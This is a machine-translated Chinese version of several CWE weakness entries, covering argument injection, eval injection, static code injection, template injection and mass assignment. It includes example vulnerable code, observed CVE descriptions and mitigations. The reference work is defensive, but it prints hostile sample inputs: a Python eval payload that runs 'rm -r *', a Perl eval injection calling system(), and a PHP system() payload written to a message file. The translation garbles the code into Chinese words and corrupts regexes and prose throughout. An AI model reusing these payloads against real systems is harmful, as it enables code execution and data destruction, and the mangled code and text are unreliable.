类别——CWE条目包含一组其他条目,共享一个共同的特点。
137年
数据中和问题
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
74年
不当中和下游组件使用的特殊元素的输出(注射)
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关视图”架构概念”(cwe - 1008)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1019年
验证输入
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”方案及质量的措施(2020)”(CWE-1305)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
77年
不当中和一个命令中使用的特殊元素(“命令注入”)
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”方案及数据保护措施”(cwe - 1340)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
77年
不当中和一个命令中使用的特殊元素(“命令注入”)
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
架构和设计
实现
实现:造成这一弱点在建筑安全策略的实施。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
保密 完整性 可用性 其他
技术的影响: 执行未经授权的代码或命令;改变执行逻辑;阅读应用程序数据;修改应用程序数据
攻击者可能包括参数允许意外执行指令或代码,允许读取或修改敏感数据或其他可能导致意想不到的行为。
示范例子
示例1
考虑以下项目。它打算执行“ls - l”输入文件名。validate_name()子例程执行验证的输入以确保只允许字母数字和“-”字符,这避免了路径遍历(CWE-22 )和操作系统命令注入(cwe - 78 )的弱点。只有文件名“abc”或“d-e-f”旨在允许。
我的$ arg = GetArgument(“文件名”);
do_listing (arg);
子do_listing {
我的(帧)= @ _;
如果(!validate_name(帧)美元){
打印”错误:名称格式不正确! \ n”; 返回;
}
#构建命令
我的$ cmd =“美元/ bin / ls - l帧”;
系统(cmd);
}
子validate_name {
我(名字)美元= @ _;
如果($ name = ~ / ^ \ w \[-] + /美元){
返回(1);
}
其他{
返回(0);
}
}
然而,validate_name()允许文件名,用“-”开始。敌人可以供应一个文件名“基于“增大化现实”技术”,产生“ls - l ar”命令(cwe - 88 ),从而得到一个完整的清单整个递归目录及其所有子目录的。
有几个可能的缓解措施的弱点。一是重构代码完全避免使用系统(),而不是依赖内部函数。
另一个选择可能是添加一个”——“参数ls命令,如“ls - l——”,所以,任何剩余的参数作为文件名,导致任何领先的“-”被视为一个文件名的一部分而不是另一个选择。
另一个修复可能是改变正则表达式中使用validate_name迫使文件名的第一个字符是字母或数字,如:
如果($ name = ~ / ^ \ w (\ w \] +美元/)……
示例2
cve - 2016 - 10033 / (ref - 1249 )提供了一个有用的真实世界的例子在PHPMailer弱点。
程序调用PHP的邮件()函数来组合和发送邮件。第五个参数邮件()是一组参数。该计划打算提供一个“-fSENDER”参数,发送者将一个格式良好的电子邮件地址。程序已验证电子邮件地址之前调用邮件(),但有一个很大的灵活性在什么是一个格式良好的电子邮件地址,包括空格。与一些额外的允许字符执行一些逃离,敌人可以指定一个额外的“o”参数(清单一个输出文件)和“- x”参数(给一个程序执行)。这种利用额外的细节是在ref - 1250 ]。
观察到的例子
参考
描述
面向依赖管理工具可以避免OS命令注入在生成Git命令但是允许注入可选参数和输入从少量开始,可能允许代码执行。
典型的例子——“含有”参数被传递到另一个程序,在执行“- f”原因作为用户“根”
Web浏览器执行Telnet会话使用命令行参数指定的网站,这可能允许远程攻击者执行任意命令。
Web浏览器允许远程攻击者执行命令通过产卵Telnet日志文件在命令行选项和编写成一个可执行文件后执行任意代码。
邮件为PHP函数的参数注入漏洞可能允许攻击者绕过安全模式限制和修改命令行参数MTA(例如sendmail)可能执行命令。
帮助和支持中心在windows不正确验证HCP URL,它允许远程攻击者执行任意代码通过引号“HCP: / / URL。
邮件客户端不足够滤波器参数的mailto: url作为参数使用邮件执行时,它允许远程攻击者执行任意程序。
Web浏览器不过滤”——“当调用各种命令,允许指定命令行开关。
邮件客户端允许远程攻击者执行任意代码通过一个URI,它使用一个UNC网络共享路径名提供另一个配置文件。
SSH URI处理程序web浏览器允许远程攻击者执行任意代码或通过一个命令行选项进行端口转发。
Web浏览器不过滤”——“当调用各种命令,允许指定命令行开关。
早些时候在TellMe 1.2和参数注入漏洞允许远程攻击者修改域名查询服务程序的命令行参数和获取敏感信息通过”——“q_Host风格选项的参数。
小猎犬之前0.2.5可以产生某些不安全的命令行启动外部辅助应用程序索引时,攻击者可以执行任意命令。注意:不清楚这个问题涉及参数注入,shell元字符,或其他问题。
参数注入漏洞在Internet Explorer 6中为Windows XP SP2允许user-assisted远程攻击者修改命令行参数一个邮件客户端通过调用”(双引号)字符mailto:计划处理程序,通过启动Microsoft Outlook,任意文件名作为附件。注:目前尚不清楚这个问题是特定于实现的或微软API的一个问题。
参数注入漏洞在Mozilla Firefox 1.0.6允许user-assisted远程攻击者修改命令行参数一个邮件客户端通过调用”(双引号)字符mailto:计划处理程序,通过启动Microsoft Outlook,任意文件名作为附件。注:目前尚不清楚这个问题是特定于实现的或微软API的一个问题。
参数注入漏洞在浏览器的10.1构建17允许user-assisted远程攻击者修改命令行参数一个邮件客户端通过调用”(双引号)字符mailto:计划处理程序,通过启动Microsoft Outlook,任意文件名作为附件。注:目前尚不清楚这个问题是特定于实现的或微软API的一个问题。
参数注入漏洞在Skype 2.0 . * URI处理程序。104和2.5 . *。0through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
328年3.8.1有WinSCP构建参数注入漏洞允许远程攻击者上传或下载任意文件通过编码空间和双引号中的字符scp和sftp URI。
参数注入漏洞在Windows对象包装机(packager.exe)在Microsoft Windows XP SP1和SP2和服务器2003 SP1和允许远程攻击者user-assisted早些时候执行任意命令通过一个精心设计的文件是有“/”(削减)字符的文件名命令行属性,紧随其后的是一个有效的文件扩展名,导致命令执行削减之前,又名“对象包装机对话欺骗漏洞。”
参数注入漏洞HyperAccess 8.4允许远程攻击者user-assisted执行任意vbscript通过telnet / r选项和命令:/ / URI,配置为使用hawin32.exe。
参数注入漏洞的telnet守护进程(in.telnetd)在Solaris 10和11 (SunOS 5.10和5.11)曲解某些客户“- f”序列作为有效的登录请求程序跳过认证,远程攻击者可以登录账号,本为代表的帐户。
语言翻译的邮件函数接受另一个论点是连接到一个字符串中使用危险的popen()调用。由于没有中和这个论点,包括OS命令注入(
cwe - 78 )和参数注入(
cwe - 88 )是可能的。
参数注入允许执行任意命令通过注射“-”选项,执行的命令。
应用邮件处理函数中参数注入允许写unxpected文件和执行程序使用tecnically-valid电子邮件地址插入“o”和“- x”开关。
潜在的缓解措施
实施阶段:
在可能的情况下,避免构建一个字符串,其中包含命令及其参数。一些语言或框架功能,支持指定独立参数,例如作为一个数组,用于自动执行适当的引用或逃避而构建命令。例如,在PHP, escapeshellarg()可以用来逃避一个参数对系统(),或exec()可以被称为一个参数数组。在C语言中,通常可以重构代码从系统使用(),它接受一个字符串,使用exec(),它需要单独的函数参数为每个参数。
阶段:体系结构和设计
理解所有潜在的地区不受信任的输入可以输入产品:参数或参数,饼干,任何从网络读取环境变量,请求头以及内容,URL组件、电子邮件、文件、数据库、和任何外部系统向应用程序提供数据。在定义良好的接口执行输入验证。
实施阶段:
假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。
不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。
实施阶段:
直接输入类型转化为预期的数据类型,比如使用一个转换函数将一个字符串转换为一个数字。预期的数据类型转换后,确保输入的值在许用值的预期范围,包含多个字段的一致性维护。
实施阶段:
输入应该解码和规范化应用程序当前的内部表示之前验证(
cwe - 180 ,
cwe - 181 )。确保您的应用程序不会无意中解码输入两次相同(
cwe - 174 )。这些错误可以用来绕过allowlist方案通过引入危险的输入后检查。使用库如OWASP ESAPI规范化控制。
考虑执行重复的规范化,直到输入不会改变。这将避免double-decoding和类似的场景,但它可能无意中修改输入,允许包含正确编码危险的内容。
实施阶段:
当组件之间交换数据,确保组件都使用相同的字符编码。确保适当的编码应用于每个接口。时显式地设置您所使用的编码协议允许你这样做。
实施阶段:
当应用程序结合来自多个数据源的数据,执行验证来源之后的总和。单个数据元素可以通过验证步骤但是违反限制后的总和。
测试阶段:
使用自动静态分析工具针对这种类型的弱点。许多现代技术利用数据流分析,减少假阳性的数量。这不是一个完美的解决方案,因为100%的准确率和覆盖率不可行。
测试阶段:
使用动态交互的工具和技术与产品使用大型测试套件和许多不同的输入,如模糊测试(起毛)健壮性测试和故障注入。产品的操作可能慢下来,但它不应该成为不稳定,崩溃,或者产生不正确的结果。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
影响资源
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
741年
CERT C安全编码标准(2008)第八章-字符和字符串(STR)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
744年
CERT C安全编码标准(2008)第11章-环境(ENV)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
810年
OWASP十大2010类别A1 -注射
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
875年
CERT c++安全编码部分07 -字符和字符串(STR)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
878年
CERT c++安全编码部分10 -环境(ENV)
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
884年
CWE横截面
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
929年
OWASP十大2013类别A1 -注射
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
990年
SFP二级集群:污染输入命令
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1027年
OWASP十大2017类别A1 -注射
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1165年
SEI CERT 10 C编码标准指导方针。环境(ENV)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1347年
OWASP十大2021类别A03:2021 -注射
笔记
的关系
在一层的抽象,这可以重叠其他弱点空白问题,例如javascript注入属性的HTML标记。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
参数注入或修改
CERT C安全编码
ENV03-C
当调用外部程序清洁环境
CERT C安全编码
ENV33-C
不精确的
不调用系统()
CERT C安全编码
STR02-C
Sanitize数据传递到复杂的子系统
WASC
30.
邮件命令注入
引用
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第十章”,参数数组”,567页。1版。艾迪生卫斯理》2006。
cwe - 95:不当中和指令的动态评估代码(Eval注入)
描述
产品从一个上游组件接收输入,但它不会消除或中和代码语法错误使用前输入在一个动态的评价(如打电话。“eval”)。
扩展描述
这可能允许攻击者执行任意代码,或者至少修改什么代码可以执行。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
自然
类型
ID
的名字
ChildOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
94年
不当控制生成的代码(代码注入)
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关视图”架构概念”(cwe - 1008)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1019年
验证输入
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
架构和设计
这在处理程序的缺点是普遍/调度程序可能需要调用大量的功能,或设置大量的变量。
实现
实现:造成这一弱点在建筑安全策略的实施。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
保密
注入的代码可以访问受限制的数据/文件。
访问控制
在某些情况下,注射代码控制认证;这可能会导致远程漏洞。
访问控制
注入的代码可以访问资源,攻击者直接禁止访问。
完整性 保密 可用性 其他
代码注入攻击可能导致的损失数据完整性在几乎所有情况下的控制平面数据注入总是附带数据召回或写作。此外,代码注入往往导致执行任意代码。
不可抵赖性
经常unlogged注入控制代码执行的操作。
利用的可能性
示范例子
示例1
edit-config。pl:这CGI脚本用于修改配置文件中的设置。
使用CGI qw(:标准);
子config_file_add_key {
我的(关键帧,美元,美元arg) = @ _;
#代码添加一个字段/文件的关键就在这里
}
子config_file_set_key {
我的(关键帧,美元,美元arg) = @ _;
#代码设置特定文件的关键就在这里
}
子config_file_delete_key {
我的(关键帧,美元,美元arg) = @ _;
#代码从一个特定的文件删除键就在这里
}
子handleConfigAction {
我的(帧,行动美元)= @ _; 我美元关键=参数(关键); 我$ val =参数(“val”);
#这是高效的代码,特别是如果你必须调用
#任何几十种不同的功能之一!
我的代码=美元”config_file_ action_key美元(美元\帧美元\键,美元\ val);”; 美元eval(代码);
}
$ configfile =“/ home / cwe / config.txt”;
打印头;
如果(定义(参数('行动'))){
handleConfigAction (configfile美元,参数('行动'));
}
其他{
打印”指定的任何行动! \ n”;
}
脚本打算采取行动的参数和调用多种功能的基于该参数的值——config_file_add_key (), config_file_set_key(),或config_file_delete_key ()。它可以单独设置一个条件来调用每个函数,但eval()是一个强大的方法使用更少的代码做同样的事情,尤其是当涉及大量的函数或变量。不幸的是,在这种情况下,攻击者可以提供其他值在操作参数,如:
中(“,”、“);系统(“/ bin / ls”);
这将产生以下字符串handleConfigAction ():
config_file_add_key (”、“,”);系统(“/ bin / ls”);
可以添加任意Perl代码后,攻击者已经“关闭”建设的原始的函数调用,为了防止解析错误造成恶意eval()失败之前攻击者的有效载荷被激活。这个特定的操作系统()调用会失败后,因为“_key(\ $帧\键,美元\ $ val)”部分的字符串会导致一个错误,但这是无关紧要的攻击,因为负载已经激活。
示例2
这个简单的脚本要求用户提供一个数字列表作为输入,并将它们添加在一起。
def main ():
和= 0
数量= eval(输入("输入一个空格分隔的数字列表:"))
num的数字:
=和+ num求和
打印(f”之和{数字}={和}")
main ()
eval()函数可以将用户提供的列表,并将它转换成一个Python列表对象,因此允许程序员使用列表理解方法来处理数据。但是,如果代码提供给eval()函数,它将执行代码。例如,恶意用户可以提供以下字符串:
__import__(“子流程”)。getoutput (rm - r *)
这将删除当前目录中的所有文件。由于这个原因,不建议使用eval()不可信的输入。
来完成这个不使用eval()是应用整数转换输入在一个try /除了块。如果用户提供的输入不是数字,这将提高ValueError。通过避免eval(),没有机会执行输入字符串的代码。
def main ():
和= 0
数量=输入(输入一个空格分隔的数字列表:)。分割(" ")
试一试:
num的数字:
=和+ num求和
打印(f”之和{数字}={和}")
除了ValueError:
print(“错误:无效输入”)
main ()
另一种选择是使用ast.literal_eval()函数从Python的ast模块。这个函数只考虑Python文字作为有效数据类型和不会执行任何代码中包含用户输入。
观察到的例子
参考
描述
Python编译器使用eval()来执行恶意字符串作为Python代码。
Eval注入在PHP程序。
Eval注入在Perl程序。
Eval注入在Perl程序使用一个ID应该只包含连字符和数字。
直接代码注入Perl eval函数。
Eval注入在Perl程序。
直接代码注入Perl eval函数。
直接代码注入Perl eval函数。
MFV。使用嵌套代码注入到PHP eval语句结构不能嵌套。
MFV。使用嵌套代码注入到PHP eval语句结构不能嵌套。
Python代码注入eval语句从一个字段格式的文件。
Eval注入在Python程序。
链:合成eval注入。无效的值可以防止初始化的变量,它可以被攻击者修改后来注入PHP eval语句。
链:执行重定向后触发eval注入。
潜在的缓解措施
阶段:体系结构和设计;实现
如果可能的话,重构你的代码,所以它不需要使用eval ()。
实施阶段:
假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。
不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。
实施阶段:
输入应该解码和规范化应用程序当前的内部表示之前验证(
cwe - 180 ,
cwe - 181 )。确保您的应用程序不会无意中解码输入两次相同(
cwe - 174 )。这些错误可以用来绕过allowlist方案通过引入危险的输入后检查。使用库如OWASP ESAPI规范化控制。
考虑执行重复的规范化,直到输入不会改变。这将避免double-decoding和类似的场景,但它可能无意中修改输入,允许包含正确编码危险的内容。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
笔记
其他
因素:特殊字符错误可以扮演一个角色在增加各种各样的代码,可以注射,虽然有些漏洞不需要特殊字符,例如,当一个函数没有参数可以引用一个终结者的角色并不是必要的。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
直接动态代码评估(Eval注入)
OWASP十大2007
A3
CWE更具体
恶意文件执行
OWASP十大2004
A6
CWE更具体
注塑缺陷
软件故障模式
SFP24
污染输入命令
SEI CERT Perl编码标准
IDS35-PL
确切的
不调用eval形式字符串参数
引用
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第18章,“在线评估”,1095页。1版。艾迪生卫斯理》2006。
cwe - 96:不当中和静态保存代码的指令(静态代码注入)
描述
产品从一个上游组件接收输入,但它不会消除或中和代码语法错误之前输入插入一个可执行的资源,如图书馆,配置文件,或者模板。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
137年
数据中和问题
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关视图”架构概念”(cwe - 1008)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1019年
验证输入
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
架构和设计
这个问题是经常发现在PHP应用程序,允许用户设置配置变量存储在可执行的PHP文件。从技术上讲,这也可以执行一些编译的代码(例如byte-patching可执行),尽管它是极不可能的。
实现
实现:造成这一弱点在建筑安全策略的实施。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
保密
注入的代码可以访问受限制的数据/文件。
访问控制
在某些情况下,注射代码控制认证;这可能会导致远程漏洞。
访问控制
注入的代码可以访问资源,攻击者直接禁止访问。
完整性 保密 可用性 其他
代码注入攻击可能导致的损失数据完整性在几乎所有情况下的控制平面数据注入总是附带数据召回或写作。此外,代码注入往往导致执行任意代码。
不可抵赖性
经常unlogged注入控制代码执行的操作。
示范例子
示例1
这个例子试图写用户消息到消息文件,允许用户查看它们。
$ MessageFile =“messages.out”;
如果($ _GET[“行动”= =“NewMessage”) {
$ name = $ _GET [“name”); 美元消息= $ _GET(“信息”); $处理= fopen (MessageFile美元," + "); 写入文件($处理,”< / b > < b > $ name说美元消息<人力资源> \ n”); 文件关闭($处理); 回声”消息得救了! < p > \ n”;
}
else if ($ _GET[“行动”= =“ViewMessages”) {
包括(MessageFile美元);
}
而程序员MessageFile只包括数据计划,攻击者可以提供信息,如:
name = h4x0r 消息= % 3 c ? php % 20系统(% 22 / bin / ls % 20-l % 22); ? % 3 e
将解码后:
< ? phpsystem("/bin/ls -l");?>
程序员认为他们只是包括常规数据文件的内容,但PHP解析和执行代码。现在,这段代码执行任何时候人消息的看法。
注意,XSS (cwe - 79 在这种情况下)也是可能的。
观察到的例子
参考
描述
Perl代码直接从参数注入CGI库文件到另一个CGI程序。
直接支持模板文件的PHP代码注入。
直接注入代码的PHP脚本可以被攻击者访问。
PHP代码直接从用户代理HTTP头插入到日志文件作为PHP脚本实现。
链:执行重定向后允许非管理员执行静态代码注入。
潜在的缓解措施
实施阶段:
假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。
不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。
实施阶段:
执行适当的输出验证和逃往中和所有代码从数据写入代码文件语法。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
影响资源
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
笔记
的关系
(见“HTML注入”
cwe - 79 :XSS)可以被认为是一个例子,但是代码注入和执行在客户端,服务器端。服务器端包含(SSI)静态代码直喷技术的一个例子。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
直接的静态代码注入
软件故障模式
SFP24
污染输入命令
cwe - 1336:不当中和特殊元素中使用模板引擎
描述
产品使用模板引擎来插入或过程externally-influenced输入,但它不会消除或中和特殊元素或语法错误可以被解释为模板表达式或其他代码指令当处理引擎。
扩展描述
许多web应用程序使用模板引擎,允许开发人员将externally-influenced值插入自由文本或信息来生成一个完整的web页面,文件,信息,等等。这些引擎包括树枝、Jinja2,哈巴狗,Java Server Pages, FreeMarker,速度,ColdFusion,自作聪明的家伙,和许多其他人——包括PHP本身。一些CMS(内容管理系统)也使用模板。
模板引擎通常有自己的自定义命令或表达式语言。如果攻击者可以影响输入模板前处理,那么攻击者可以调用任意表达式,即执行注入攻击。例如,在一些模板语言,攻击者可以将表达式“{{7 * 7}}”和确定输出返回“49”。语法因语言而异。
在某些情况下,xss攻击可以工作,可以模糊的根本原因如果开发者不密切调查错误的根源。
模板引擎可以使用在服务器或客户端,所以“双方”可能受到注入的影响。攻击或受影响的技术的机制可能不同,但错误从根本上是相同的。
替代条款
服务器端模板注入/ SSTI:
这个词用于注入模板引擎使用的服务器。
客户端模板注入/ CSTI:
这个词用于注入模板引擎被客户机使用。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
架构和设计
开发人员可以选择一个模板引擎,使程序员更容易编写脆弱的代码。
实现
程序员可能不使用引擎的内置沙箱或者其他功能逃避或者防止模板注入不可信的输入。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
观察到的例子
参考
描述
注射在内容管理服务器端模板
认证/身份管理产品已注入端模板
服务器端模板注射使用树枝模板
devops平台允许SSTI
绕过服务器端模板的注入与宏在Velocity模板保护机制
web浏览器代理服务器从服务器端模板允许Java EL表达式注入
SSTI涉及邮件模板和JEXL表达式
产品不使用“安全”设置FreeMarker配置,允许SSTI
产品允许读的敏感数据库用户名/密码变量使用服务器端模板注入
潜在的缓解措施
阶段:体系结构和设计
选择一个模板引擎,提供了一个沙箱或者限制模式,或至少限制的力量任何可用的表情,函数调用,或者命令。
实施阶段:
使用模板引擎的沙盒或限制模式,如果可用。
笔记
引用
cwe - 915:不当控制动态确定对象属性的修改
描述
产品从一个上游组件接收输入指定多个属性,属性,或字段初始化或更新的对象,但这并不正确控制哪些属性可以修改。
扩展描述
如果对象包含属性,只供内部使用,那么他们意想不到的修改可能会导致一个漏洞。
这个弱点有时被成为可能的特定于语言的机制,如大规模作业,autobinding或对象注入。
替代条款
质量的任务:
“大规模作业”的名字是Ruby on Rails的一个功能,允许同时修改多个对象属性。
AutoBinding:
“Autobinding”项中使用框架如Spring MVC和ASP。净MVC。
PHP对象注入:
一些PHP应用程序研究人员使用这个术语来攻击不安全使用unserialize()函数,但是它也可以用于
cwe - 502 。
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
完整性
攻击者可以修改敏感数据或程序变量。
完整性
其他 完整性
观察到的例子
参考
描述
质量分配允许任意使用修改URL属性的修改。
源代码版本控制产品允许修改使用质量值得信赖的关键任务。
攻击者可以绕过付款介入电子商务产品。
使用PHP unserialize函数不受信任的输入允许攻击者修改应用程序配置。
使用PHP unserialize函数不受信任的输入的内容管理系统可能允许代码执行。
使用PHP unserialize函数不受信任的输入内容管理系统允许代码执行使用一个精心制作的饼干的价值。
用PHP编写的内容管理系统允许非系列化的任意对象,可能允许代码执行。
用PHP编写的内容管理系统允许通过页面评论代码执行。
使用cookie的PHP unserialize函数值允许远程代码执行或上传任意文件。
内容管理系统编写的Python解释不可信的数据,泡菜,允许代码执行。
Python脚本允许本地用户通过腌数据执行代码。
Python脚本允许远程攻击者使用pickle对象执行任意代码。
Ruby on Rails允许不可信的YAML的反序列化执行任意代码。
